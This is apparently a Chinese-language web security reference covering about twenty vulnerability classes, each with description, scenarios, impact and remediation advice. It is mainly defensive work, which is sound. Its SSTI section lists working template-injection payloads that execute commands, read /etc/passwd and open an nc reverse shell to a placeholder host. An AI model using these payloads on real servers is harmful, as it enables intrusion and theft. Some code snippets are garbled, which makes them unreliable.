Jsonp漏洞
0x01 漏洞描述
1、 一个众所周知的问题，Ajax直接请求普通文件存在跨域无权限访问的问题，甭管你是静态页面、动态网页、web服务、WCF，只要是跨域请求，一律不准。
2、 不过我们又发现，Web页面上调用js文件时则不受是否跨域的影响（不仅如此，我们还发现凡是拥有"src"这个属性的标签都拥有跨域的能力，比如
0x02 常见应用场景
1、 Callback、.json关键字搜索
2、 获取敏感信息
3、 content-type不严谨，callback返回xss代码然后html解析，Content-Type: application/json
4、 jsonp接口提供方被黑了
0x03 漏洞危害
0x04 修复建议
1、 验证来源（referer）
LDAP注入
0x01 漏洞描述
LDAP 注入是利用用户引入的参数生成恶意 LDAP 查询，通过构造 LDAP 过滤器来绕过访问控制、用户权限提升。在维持正常过滤器的情况下构造出 AND、OR 操作注入来获得敏感信息
0x02 常见应用场景
1、 AND注入-
2、 OR注入
3、 万能用户
0x03 漏洞危害
1、 登录绕过
2、 权限提升
3、 信息泄露
0x04 修复建议
1、 如&、！、|、=、<、>、，、+、-、”、’、；这些字符正常情况下不会用到，如果用户的输入中出现了，需要用反斜杠转义处理。
2、 还有些字符如(、)、\、*、/、NUL这些字符不仅需要用反斜杠处理，还要将字符变成相应的ASCII码值。
Xpath注入
0x01 漏洞描述
XPath 注入是指利用 XPath 解析器的松散输入和容错特性，能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码，以获得权限信息的访问权并更改这些信息。XPath 注入与 SQL 注入类似，均是通过构造恶意的查询语句，对应用程序进行攻击
0x02 常见应用场景
0x03 漏洞危害
0x04 修复建议
数据提交到服务器上端，在服务端正式处理这批数据之前，对提交数据的合法性进行验证。
检查提交的数据是否包含特殊字符，对特殊字符进行编码转换或替换、删除敏感字符或字符串。
对于系统出现的错误信息，以IE错误编码信息替换，屏蔽系统本身的出错信息。
参数化XPath查询，将需要构建的XPath查询表达式，以变量的形式表示，变量不是可以执行的脚本。如下代码可以通过创建保存查询的外部文件使查询参数化：declare variable $loginID as xs：string external；declare variable p a s s w o r d a s x s ：s t r i n g e x t e r n a l ；/ / u s e r s / u s e r [ @ l o g i n I D = password as xs：string external；//users/user[@loginID=passwordasxs：stringexternal；//users/user[@loginID=loginID and @password= $password]。
通过MD5、SSL等加密算法， 对于数据敏感信息和在数据传输过程中加密， 即使某些非法用户通过非法手法获取数据包，看到的也是加密后的信息。
SQL 注入
0x01 漏洞描述
SQL注入漏洞产生的原因是网站应用程序在编写时未对用户提交至服务器的数据进行合法性校验（类型、长度、业务参数合法性等），同时没有对用户输入数据进行有效地特殊字符过滤，使得用户的输入直接带入数据库执行，超出了SQL语句原来设计的预期结果，导致了SQL注入漏洞。
0x02 常见应用场景
SQL注入漏洞可能出现在一切与数据库交互的地方，比如常见的查询用户信息、查询订单信息等查询处；搜索、筛选、过滤等；更新用户信息、添加备注等。另外，其他日志记录、分析等处也可能出现，比如记录用户登录处，记录用户登录日志处；比如常见的请求头中的字段，UA、XFF等。
0x03 漏洞危害
获取数据库访问权限，甚至获得DBA权限；
获取其他数据库中的数据；
盗取用户的机密信息包括账户、个人私密信息、交易信息等等；
运行各种操作系统命令；
通过构造特殊的数据库查询语句，可操作数据库进入后台并插入木马，以获取整个网站和数据库的控制权限；
篡改、删除网站页面；
数据库所在服务器被攻击从而变为傀儡主机，甚至可能导致局域网(内网)被入侵；
0x04 修复建议
4.1 代码层面
4.1.1 输入验证
类型判断：字符型、整型；
长度判断：设置最大长度值；
业务参数合法性判断：比如支付金额不可能为负值这种；
特殊字符过滤：比如’，"，\，<，>，&，*，;，#，select，from，where，sub，if，union，sleep，and，or等；
验证所有的输入点，包括UA、Cookie以及其他HTTP头；
4.1.2、预编译处理&参数化查询
所有与数据库交互的业务接口均采用参数化查询，参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中，参数化查询是防御SQL注入的最佳方法，比如：Java中的PreparedStatement，PHP中的PDO等。
4.2 数据库层面
4.2.1 最小权限原则
遵循最小化权限原则，严格限制网站用户的数据库的操作权限，禁止将任何高权限帐户（sa，dba、root等）用于应用程序数据库访问，从而最大限度的减少注入攻击对数据库的危害。
4.2.2 禁用敏感函数
比如MSSQL中，拒绝用户访问敏感的系统存储过程，如xp_dirtree，xp_cmdshell等。
4.2.3 权限控制
限制用户所能够访问的数据库表。
4.2.4 编码统一
网站与数据层的编码统一，建议全部使用UTF-8编码，避免因上下层编码不一致导致一些过滤模型被绕过，比如宽字节注入等。
4.3 其他措施
避免网站异常抛出SQL错误信息，比如类型错误、字段不匹配等，防止攻击者利用这些错误信息进行一些判断；
使用通用防注入系统；
XSS
0x01 漏洞描述
XSS全称为Cross Site Scripting，为了和CSS分开简写为XSS，中文名为跨站脚本。该漏洞发生在用户端，是指恶意攻击者往Web站点里插入恶意脚本代码，当用户浏览该网站时，嵌入其里面的脚本代码会被执行，从而达到恶意用户的特殊目的。
根据是否写入数据看来分类主要有反射性和存储型两大类。
• 反射型跨站脚本（Reflected XSS）
• 储存型跨站脚本（Persistent XSS）
区别：存储型XSS的恶意代码存在数据库里，反射型XSS的恶意代码存在URL里。
0x02 常见应用场景
2.1 反射型XSS
反射性XSS通常需要被攻击者点击对应的链接才能触发，且受到XSS Auditor、NoScript等防御手段的影响较大。
反射型xss应用场景：比如搜索、查询，接口调用，跳转，http头获取参数地理位置，cookie，id，referer等一切输入、输出的地方
2.2 存储型XSS
存储型XSS由于存储在数据库或其他持久性中间件中，所以用户只需浏览了包含恶意代码的页面即可在用户无感知的情况下触发。
反射型xss应用场景：比如注册处、用户名、地址、头像等信息，用户反馈、留言、修改个人信息、发表文章、评论、转发、私信等一切输入输出的地方。
0x03 漏洞危害
1. 钓鱼欺骗：最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站，或者注入钓鱼JavaScript以监控目标网站的表单输入，甚至发起基于DHTML更高级的钓鱼攻击方式。
2. 网站挂马：跨站后利用IFrame嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上，或者弹出恶意网站窗口等方式都可以进行挂马攻击。
3. 身份盗用：Cookie是用户对于特定网站的身份验证标志，XSS可以盗取用户的Cookie，就可以获取到用户对网站的操作权限，从而查看用户隐私信息。
4. 用户劫持：一些高级的XSS，比如xss蠕虫等。
5. 控制受害者机器向其他系统发起攻击。
0x04 修复建议
4.1 代码层面
4.1.1 在服务端进行输入验证（输入验证）
服务器后端进行输入验证，包括输入的数据类型、数据长度、数据格式、特殊字符等进行验证。
4.1.2 数据输出实体编码（输出编码）
输出编码手段主要有3种编码：URL编码、HTML编码和JavaScript编码。
JAVA：开源的ESAPI library；框架（Spring：HtmlUtils.htmlEscape） PHP：使用htmlspecialchars等函数进行过滤输出
4.2 其他层面
4.2.1 使用模版引擎
开启模板引擎自带的 HTML 转义功能。例如：在 ejs 中，尽量使用 <%= data %> 而不是 <%- data %>；在 doT.js 中，尽量使用{undefined{! data } 而不是 {undefined{= data }；在 FreeMarker 中，确保引擎版本高于 2.3.24，并且选择正确的 freemarker.core.OutputFormat。
4.2.2 避免内敛事件
尽量不要使用 onLoad=“onload(’{undefined{data}}’)”、onClick="go(’{undefined{action}}’)"这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener()事件绑定会更安全。
4.2.3 避免拼接 HTML
前端采用拼接 HTML 的方法比较危险，如果框架允许，使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架，如 Vue/React 等。
4.2.4 使用CSP
Content Security Policy：禁止加载外域代码，防止复杂的攻击逻辑；禁止外域提交，网站被攻击后，用户的数据不会泄露到外域；禁止内联脚本执行；禁止未授权的脚本执行。
4.2.5 使用httponly
HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie，攻击者完成 XSS 注入后也无法窃取此 Cookie。httponly无法完全的防御xss漏洞，它只是规定了不能使用js去获取cookie的内容，因此它只能防御利用xss进行cookie劫持的问题。Httponly是在set-cookie时标记的，可对单独某个参数标记也可对全部参数标记。由于设置httponly的方法比较简单，使用也很灵活，并且对防御cookie劫持非常有用，因此已经渐渐成为一种默认的标准。
SSRF
0x01 漏洞描述
服务端请求伪造攻击(Server-side Request Forgery):很多web应用都提供了从其他的服务器上获取数据的功能。比如获取图片、下载文件、读取文件内容等。SSRF漏洞是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统。
即：利用一个可以发起网络请求的服务，当作跳板来攻击其他服务。
0x02 场景应用场景
SSRF场景应用场景为任意可以发起网络请求的地方，比如：
• 下载图片、下载文件等下载处；
• 文件预览、图片预览等获取图片、文件内容处；
• 在线识图，在线文档翻译，分享，订阅等；
• 根据远程URL上传，静态资源图片等；
• 数据库的内置功能，比如mongodb的copyDatabase函数；
• URL关键字中，比如：source，share，link，src，imageurl，target等；
0x03 漏洞危害
内网、本地端口扫描，获取开放端口信息；
主机信息收集，web应用指纹识别，获取服务banner信息等；
根据识别出的应用针对性的发送payload攻击，例如struts2.4、redis、攻击内网、本地的应用程序及服务等；
穿越防火墙
利用file等其他允许协议进行绕过攻击，比如利用file协议读取本地文件（file:///etc/passwd）
0x04 修复建议
SSRF漏洞修复的方法可归纳为一个依次向下的流程中：
4.1 解析目标URL
获取scheme、host（推荐使用系统内置函数完成,避免自己使用正则提取）
4.2 校验scheme
检查 scheme 是否为合法 (如非特殊需求请只允许 http 和 https)
4.3 获取解析IP
解析 host 获取 dns 解析后的 IP 地址
4.4 检测IP是否合法
检查解析后的IP地址是否为外网地址或者合法IP
CSRF
0x01 漏洞描述
CSRF（Cross-site request forgery）跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。攻击者通过伪造来自受信任用户的请求，达到增加、删除、篡改网站内容的目的。
0x02 常见应用场景
一个成功的CSRF漏洞攻击的场景，需要由"三个部分"来构成。
有一个没有进行二次校验措施的前台或后台的数据修改、新增、删除等数据交互请求的漏洞存在；
伪装数据操作请求的恶意链接或者页面；
诱使用户主动访问、点击恶意链接，触发非法操作；
0x03 漏洞危害
CSRF漏洞是借助受害者的cookie来进行攻击者想要的恶意操作，攻击者并不是拿到了受害者cookie，对于服务器返回的结果也无法解析查看，攻击者的攻击就是让服务器执行了自己想要的操作指令或业务流程。
最常见的攻击场景为：攻击者冒充用户/管理员伪造请求，进行网页篡改；用户修改、添加用户、密码修改；发送帖子、消息等非法操作。
0x04 修复意见
验证HTTP Referer字段；
关键业务操作使用图形验证码进行二次确认验，只接受 POST 请求，GET请求应只浏览而不改变服务器端资源；
过滤用户输入，不允许发布含有站内操作URL的链接；
增加csrftoken验证，csrftoken可以在用户登陆后产生并放于 session 之中，然后在每次请求时把csrftoken从 session 中拿出，与请求中的csrftoken进行比对。对于GET请求，csrftoken将附在请求地址之后，对于POST请求来说，要在form的最后加上 ；
在 HTTP 头中自定义属性并验证，该方法同csrftoken，同为随机值校验，但是这里并不是把csrftoken以参数的形式置于HTTP请求之中，而是把它放到 HTTP头中自定义的属性里；
在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
文件上传
0x01 漏洞描述
应用系统在文件上传功能处对用户上传文件类型、格式、内容等做合法性校验，导致攻击者可以上传Webshell（.php、.jsp、asp等）恶意脚本文件或者非期望格式的文件比如：HTML文件、SHTML文件等，同时可利用目录跳转等字符或者控制上传目录，直接上传文件到Web目录或任意目录下，从而可能导致在远程服务器上执行任意恶意脚本文件，从而直接获取应用系统权限。
0x02 常见应用场景
文件上传漏洞通常发生在业务系统需要进行上传文件等功能处，比如上传图片、视频、文档；发表文章、评论；意见反馈；个人信息中的头像，照片，附件等。
0x03 漏洞危害
上传恶意脚本文件到服务器中，通过访问该恶意文件从而执行文件中的恶意代码；
攻击者可利用目录跳转上传php、config等文件，覆盖原有的系统文件，到达篡改系统文件、甚至获取系统权限的目的；
攻击者可上传html、shtm等文件，并写入非法博彩、赌博等恶意SEO页面或者写入恶意js文件进行钓鱼来非法获取用户信息等；
0x04 修复建议
4.1 代码层面
• 服务端采用白名单方式校验文件后缀，不建议采用黑名单方式校验后缀，黑名单方式校验可能导致攻击者利用文件特性、系统特性、黑名单不全等方式进行绕过攻击；
• 服务端对上传文件进行重命名，防止利用目录跳转等方式控制上传目录；
• 服务端使用系统函数来判断文件类型及文件内容是否合法，比如PHP中的getimagesize；
• 对上传的文件回显相对路径或者不显示路径；
4.2 其他层面
• 建议使用OSS静态存储服务器来存储用户上传的文件；
• 设置目录权限限制，禁止上传目录的执行权限；
• 保证使用的Nginx、Apache、IIS等容器版本不存在解析漏洞；
• 保证使用的第三方处理软件的版本比如FFmpeg、ImageMagick等不存在已知漏洞
文件下载/读取/删除/包含
0x01 漏洞描述
1.1 文件读取/下载
在读取文件内容文件或文件下载处，未严格限制读取/下载文件的路径及文件后缀，导致可利用…/，#等目录操作字符进行目录穿越、截断等手段，从而读取/下载服务器上任意文件，比如配置文件等。
1.2 文件包含
在通过PHP的incluede、require等函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，导致意外的文件泄露甚至恶意的代码注入，主要包括本地文件包含和远程文件包含两种形式。
1.3 文件删除
应用程序在删除文件前，未对所要删除的文件内容、类型、文件名、文件目录做合法性校验，导致可删除服务器上任意文件，比如删除安装目录中锁文件，直接进行重装应用系统。
0x02 常见应用场景
2.1 文件读取/下载
读取/下载图片、文件内容；下载附件；预览文档；导出文档；修改、保存文档等
2.2 文件包含
比如包含了某个图片、附件、远程URL、从远程获取资源文件等
2.3 文件删除
删除文件、附件、图片、替换、配置等
0x03 漏洞危害
文件读取/下载：如果系统未对读取/下载文件的文件目录做限制，攻击者利用此漏洞可直接读取web目录下任意文件，比如配置文件、数据库文件等，甚至直接获取服务器上任意文件内容。
文件包含：攻击者利用此漏洞通过包含含有任意恶意代码的任意格式文件，比如图片文件、log文件等，可直接获取应用系统权限，如果开启了allow_url_fopen/allow_url_include等配置，可直接包含远程任意格式文件。
文件删除：攻击者利用此漏洞可直接删除web目录甚至服务器上任意格式文件，直接导致业务系统中断、崩溃。
0x04 修复建议
• 配置文件：在配置文件中限制访问的文件目录，比如PHP中php.ini配置open_basedir
• 特殊字符过滤：检查用户输入，过滤或转义含有“…/”、“…\”、“%00”，“…”，“./”，“#”等跳转目录或字符终止符、截断字符的输入
• 合法性判断：严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等
• 白名单：白名单限定访问文件的路径、名称及后缀名
系统命令执行/注入
0x01 漏洞描述
命令执行/注入漏洞通常因为应用在服务器上拼接系统命令而造成的漏洞。攻击者通过提交恶意构造的参数破坏命令语句结构，从而达到执行恶意命令的目的。
0x02 常见应用场景
命令执行/注入漏洞通常出现在调用外部程序完成一些功能的情景下。
• 管理界面的配置主机名/IP/掩码/网关、查看系统信息等功能处
• 关闭、重启等功能处
• ping、nslookup等验证主机等功能处
• 提供发送邮件、转换图片等功能处
0x03 漏洞危害
攻击者可在服务器通过利用拼接、管道符、通配符等绕过手段来执行任意命令，写入后门，从而入侵服务器，获取服务器权限，直接导致服务器沦陷。
0x04 修复建议
在代码级调用shell时，对命令行中的特殊字符（比如|、&、；等）进行转义，防止执行其他非法命令。
根据业务逻辑进行白名单方式校验或使用正则表达式进行过滤。
PHP中可使用escapeshellarg、escapeshellcmd来转义对应敏感字符。
对于相关敏感的命令执行函数，做好参数校验和合法性验证，或者直接在配置文件中禁用该函数，不要让用户可以直接控制eval、system、exec、shell_exec等函数的参数 。
列目录
0x01 漏洞描述
目录浏览漏洞主要是由于配置不当，当访问到某一目录中没有索引文件时（或者手工开启了目录浏览功能）即把当前目录中的所有文件及相关下层目录一一在页面中显示出来。通过该漏洞攻击者可获得服务器上的文件目录结构，从而下载敏感文件（备份文件存放地址、数据文件、数据库文件、源代码文件等）。
0x02 常见应用场景
如果web容器开启了目录浏览功能，那么攻击者通过浏览其他目录就有可能查看到该目录下的所有目录文件及结构，比如常见的上传目录、备份目录、静态资源目录、第三方扩展目录等。
0x03 漏洞危害
攻击者通过该漏洞可以看到服务器上的文件目录结构，获取应用系统文件敏感文件，比如备份文件、数据库文件、源代码文件等，导致应用程序大量敏感信息泄漏。
0x04 修复建议
• 通过修改配置文件，去除中间件（如IIS、apache、nginx）的文件目录索引功能。
IIS：只需要进入IIS管理器，选择对应的网站，然后在功能视图中的IIS项双击【目录浏览】，然后在操作的地方点击【禁用】即可。另外也可以在网站目录下找到web.config文件，将中的true修改为false。
Apache：在配置文件中将Options Indexes FollowSymLinks在Indexes前面加上-符号。即：Options -Indexes FollowSymLinks。
Nginx：在配置文件中将autoindex on;去掉或者直接注释掉即可。
• 设置文件目录的访问权限。
• 在每个目录下创建一个空的index.html页面。
XXE
0x01 漏洞描述
XML 指可扩展标记语言（eXtensible Markup Language），是一种用于标记电子文件使其具有结构性的标记语言，被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。目前，XML文件作为配置文件（Spring、Struts2等）、文档结构说明文件（PDF、RSS等）、图片格式文件（SVG header）应用比较广泛。XML 的语法规范由 DTD （Document Type Definition）来进行控制。
XML外部实体注入（XML External Entity Injection）漏洞是指当恶意用户在提交一个精心构造的包含外部实体引用的XML文档给未正确配置的XML解析器处理时，该攻击就会发生。
0x02 常见应用场景
XXE可能出现在一切可接收XML文档的业务逻辑处。
SOAP型Web Service。SOAP型的Web Service允许我们使用XML格式与服务器进行通信。
REST型Web Service。REST型Web Service允许我们使用JSON格式（也可以使用XML格式）与服务器进行通信。与HTTP类似，该类型服务支持GET、POST、PUT、DELETE方法。
WSDL给出了SOAP型Web Service的基本定义，WSDL基于XML语言，描述了与服务交互的基本元素，比如函数、数据类型、功能等，少数情况下，WSDL也可以用来描述REST型Web Service。
WADL就像是WSDL的REST版，一般用于REST型Web Service，描述与Web Service进行交互的基本元素。
比如：采用RESTful架构风格的终端通常都是以JSON作为传输格式，但是许多服务端开发框架也允许基于数据交换的XML格式作为输入，可以通过尝试将 Content-Type修改为application/xml，text/xml进行验证。
另外，采用xml的java服务中间件，比如spring，struts2等也可能出现XXE漏洞
0x03 漏洞危害
利用 XXE 进行 DOS 攻击；
读取本地任意敏感文件；
利用相关协议进行SSRF探测内网主机IP、端口等信息；
在特定条件下利用Java中的jar:// 协议，php 中的 phar://可能导致恶意文件上传；
PHP中如果安装了expect扩展，可利用XXE执行任意命令
0x04 修复建议
4.1 使用语言中推荐的禁用外部实体的方法
PHP：
libxml_disable_entity_loader(true);
Java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
4.2 手动黑名单过滤
过滤XML中的相关关键词，比如：
SSTI
0x01 漏洞描述
模板引擎可以让（网站）程序实现界面与数据分离，业务代码与逻辑代码的分离，这大大提升了开发效率，良好的设计也使得代码重用变得更加容易。上下文数据通常由用户控制并由模板进行格式化，以生成网页、电子邮件等。模板引擎通过使用代码构造（如条件语句、循环等）处理上下文数据，允许在模板中使用强大的语言表达式，以呈现动态内容。
SSTI （服务器端模板注入）如果攻击者能够控制要呈现的模板，服务端接收了用户的恶意输入以后，未经任何处理就将其作为 Web 应用模板内容的一部分，模板引擎在进行目标编译渲染的过程中，执行了用户插入的可以破坏模板的语句，就可能导致上下文数据的暴露，甚至在服务器上运行任意命令的表达式。
0x02 常见应用场景
凡是使用模板的应用程序都有可能出现服务器端模版注入漏洞。
2.1 PHP
• Smarty
{php}echo `id`;{/php}{self::getStreamVariable("file:///etc/passwd")}
• Twig
{{7*7}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
2.2 Java
• FreeMarker
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}•Velocity#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
2.3 Python
• Tornado
{{handler.settings}}{% import os %}{{ os.popen("whoami").read() }}
• Flask/Jinja2
{{ config.items() }}{{''.__class__.__mro__[-1].__subclasses__()}}{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
• Django
//写文件{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}//加载system{{ config.from_pyfile('/tmp/evil') }}//执行命令反弹SHELL{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
2.4 Ruby
<%= 7 * 7 %><%= File.open('/etc/passwd').read %>2.5 AngularJS$eval('1+1')
0x03 漏洞危害
• 获取上下文敏感数据信息、配置信息；
• 读取、写入恶意文档到服务器中；
• 执行系统命令；
0x04 修复建议
• 不要让用户对传入模板的内容或者模板本身进行控制。
• 减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式。
• 如果需要将动态数据传递给模板，不要直接在模板文件中执行，可以使用模板引擎的内置功能来扩展表达式，实现同样的效果。
URL跳转
0x01 漏洞描述
也称URL跳转、URL重定向漏洞，由于目标网站未对程序跳转的URL地址及参数做合法性判断，导致应用程序直接跳转到参数中指定的的URL地址。攻击者可通过将跳转地址修改为指向恶意站点，即可发起网络钓鱼、诈骗甚至窃取用户凭证等。
0x02 常见应用场景
主要是业务逻辑中需要进行跳转的地方。比如登录处、注册处、访问用户信息、订单信息、加入购物车、分享、收藏等处。
0x03 漏洞危害
攻击者可能会使用Web服务器攻击其他站点；
如果对输出没有做严格限制，将可能导致反射性XSS漏洞；
黑产将利用此漏洞，从信任网站跳转到攻击者构造的恶意网站用来进行钓鱼、诈骗等行为；
0x04 修复建议
严格控制将要跳转的域名，如果某个业务事先已经确定将要跳转的网站，最稳妥的方式是将其直接编码在源代码中，通过URL中传入的参数来映射跳转网址。
严格验证跳转URL参数的有效性、合法性。
校验传入的URL参数是否为可信域名。
SVN info
0x01 漏洞描述
在使用SVN管理本地代码过程中，会自动生成一个名为.svn的隐藏文件夹，其中包含重要的源代码信息。一些网站管理员在发布代码时，不愿意使用‘导出’功能，而是直接复制代码文件夹到WEB服务器上，这就使.svn隐藏文件夹被暴露于外网环境，黑客可以借助其中包含的用于版本信息追踪的entries文件，获取站点信息。
0x02 漏洞危害
攻击者可以利用.svn/entries文件，获取到应用程序源代码、svn服务器账号密码等信息。同时，SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本（低版本SVN具体路径为text-base目录，高版本SVN为pristine目录），如果服务器没有对此类后缀做解析，黑客则可以直接获得文件源代码。
攻击者利用该漏洞可下载网站源代码，获得数据库的连接账号密码等敏感信息；
攻击者可通过获取的源代码进一步分析出新的系统漏洞，从而进一步入侵系统；
0x03 修复建议
• 查找服务器上所有.svn隐藏文件夹，删除。
• 开发人员在使用SVN时，严格使用导出功能，禁止直接复制代码。
Git info
0x01 漏洞描述
开发者在使用git作为版本控制时，在一个目录中初始化一个仓库以后 , 会在这个目录下产生一个名叫 .git 的隐藏文件夹，这个文件夹里面保存了这个仓库的所有版本等一系列信息。如果服务器将.git文件夹放在了web目录下，就可能导致攻击者利用.git文件夹内的信息获取应用程序所有源代码。
0x02 漏洞危害
• 攻击者利用此漏洞可获取应用程序源代码，分析源码进行进一步攻击利用；
• 攻击者利用此漏洞可获取数据配置信息，可能直接导致应用程序用户信息泄漏，设置获取服务器权限；
0x03 漏洞修复
1.删除网站目录下的.git文件
2.中间件上设置.git目录访问权限，禁止访问
DS_Store info
0x01 漏洞描述
苹果的操作系统会在每一个文件夹中产生这个文件记录这个文件夹中的相关信息。实际上，这一文件包含了文件夹中所有的文件名和子文件夹名。和windows相比，等同于desktop.ini和Thumbs.db两个文件。
0x02 漏洞危害
• 攻击者利用该漏洞可能获取网站相关的文件夹和文件名；
• 攻击者可通过解析这一文件，可能会发现数据库备份文件、配置文件以及一些缓存文件，甚至是密钥等；
0x03 修复建议
• 在不影响代码运行的情况下，删除.DS_Store文件。
• 在中间件中设置对应的文件、目录的访问权限
弱口令
0x01 漏洞描述
网站管理、运营人员由于安全意识不足，为了方便、避免忘记密码等，使用了非常容易记住的密码，或者是直接采用了系统的默认密码等。
0x02 常见应用场景
弱口令没有严格的标准和准确的定义，通常认为容易被别人猜测到或被破解工具破解的口令均为弱口令。
通常以下情况会被定为弱口令：
• 连续的数字
• 连续的字母
• 连续的（数字+字母）
• 公司（全称or简称）+连续的（字母or数字）
• 个人姓名（全称or简称）+连续的（字母or数字）
• 网站域名+连续的（字母or数字）
• 任意（上+下 or 左+右 or shift）连续的键盘密码
• 包含上述情况任意位置的特殊字符
• 包含上述情况任意位置的年份的数字
• 包含上述情况任意位置的首字母大写
• 包含上述情况任意位置的常见单词
• 。。。
0x03 漏洞危害
攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。
0x04 修复建议
4.1 用户层面
• 不要使用常见的弱口令作为密码
• 不要多个系统或者社交账号使用同一套密码
• 定期修改密码
• 建议使用包含随机值的或者随机生成的字符串作为系统密码
4.2 系统层面
• 用户首次登录后强制用户修改默认密码
• 修改密码、添加账号等涉及密码策略处强制用户使用强密码策略（大小写字母+数字+特殊字符+8位以上）
• 服务端对登录处增加图形验证码并保证使用一次即销毁
• 服务端对登录接口进行限制，单个IP单位时间内请求超过阈值，封禁30分钟
• 服务端对登录接口进行限制，单个用户密码单位时间内错误次数超过阈值，封禁20分钟
CRLF 注入
0x01 漏洞描述
CRLF是回车 + 换行（\r\n）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。
0x02 常见应用场景
根据CRLF漏洞原理我们知道，CRLF主要是向HTTP响应头中注入了恶意代码，那么业务场景中往HTTP响应头中写入数据的地方就有可能存在CRLF漏洞，比如最常见的重定向处
HTTP/1.1 302 Moved TemporarilyDate: Tue, 24 Dec 2019 11:05:15 GMTContent-Type: text/htmlConnection: closeLocation: https://www.baidu.com
0x03 漏洞危害
通过在响应头中设置一个SESSION，即可造成一个“会话固定漏洞”；
通过向响应头中注入恶意配置，即可造成一个无视浏览器Filter的反射型XSS；
跳转劫持；
通过注入html代码可以进行钓鱼；
0x04 修复建议
• 在设置HTTP响应头的代码中，过滤回车、换行（%0d，%0a，%0D，%0A)等字符，避免输入的数据污染到其他HTTP头。
• 对参数做合法性校验以及长度限制。
Error Info
0x01 漏洞描述
应用程序未对代码逻辑进行异常捕获，攻击者可通过输入异常字符串、异常类型、异常长度、畸形参数、增加删除参数、修改请求方法、异常请求头等途径是程序异常，从而导致应用程序抛出异常错误信息。
0x02 漏洞危害
攻击者通过构造特殊的攻击向量使应用程序抛出异常，可能导致应用绝对路径泄漏，源代码泄漏，敏感函数、控制器等泄漏，SQL语句泄漏，数据库敏感信息泄漏，接口信息等敏感信息泄漏。
攻击者可以利用这些信息实施进一步的攻击。
0x03 修复建议
线上应用务必关闭debug模式。
代码逻辑中尽量保证存在异常处理逻辑。
错误信息统一处理，比如统一跳转首页、显示404页面、500页面等。
严格校验用户输入数据，细化服务端处理颗粒度。
不要相信逻辑上的跳转语句。
确保异常之后的代码不会运行。
HTTP参数污染漏洞
0x01 漏洞描述
HTTP参数污染漏洞（HTTP Parameter Pollution）简称HPP，由于HTTP协议允许同名参数的存在，同时，后台处理机制对同名参数的处理方式不当，造成“参数污染”。攻击者可以利用此漏洞对网站业务造成攻击，甚至结合其他漏洞，获取服务器数据或获取服务器最高权限。
0x02 常见应用场景
GET /foo?par=first&par=last HTTP/1.1User-Agent: Mozilla/5.0Host: HostAccept: */*
以上面数据包为例，常见的Web服务器对同样名称的参数出现多次的处理方式如下：
Web环境 参数获取函数 获取到的参数
PHP/Apache$_GET("par")lastJSP/TomcatRequest.getParameter("par")firstPerl(CGI)/ApacheParam("par")firstPython/Apachegetvalue("par")["first","last"]ASP.NET/IISRequest.QueryString("par")first,last
0x03 漏洞危害
HTTP 参数污染的风险实际上取决于后端所执行的操作，以及被污染的参数提交到了哪里。
• 对客户端的攻击，比如投票、跳转、关注等；
• 绕过安全防护软件；
0x04 修复建议
对用户输入数据的参数的格式进行验证。
在WAF或其他网关设备（比如IPS）在检查URL时，对同一个参数被多次赋值的情况进行特殊处理。
在代码层面，编写WEB程序时，要通过合理的$_GET方法获取URL中的参数值，而尝试获取web服务器返回给程序的其他值时要慎重处理。
Test info
0x01 漏洞描述
应用程序在发布时，未清理掉诸如测试数据、测试文件、测试接口、测试用户等测试数据，攻击者可能利用这些测试数据获取网站敏感信息，进入系统内部，甚至控制应用系统等。
0x02 漏洞危害
攻击者可能利用这些测试数据获取网站敏感信息，进入系统内部，甚至控制应用系统等。
0x03 修复建议
• 应用系统在发布后应及时删除、关闭测试接口
• 应用系统在发布后应及时删除、关停测试账号
• 应用系统在发布后应及时删除测试文件
• 应用系统在发布后应及时清除数据表中的测试数据
API 未授权
0x01 漏洞描述
接口未授权访问，顾名思义在不进行请求授权的情况下，能够直接对相应的业务逻辑功能进行访问、操作等。通常是由于认证页面存在缺陷或者无认证、安全配置不当等导致的。
0x02 常见应用场景
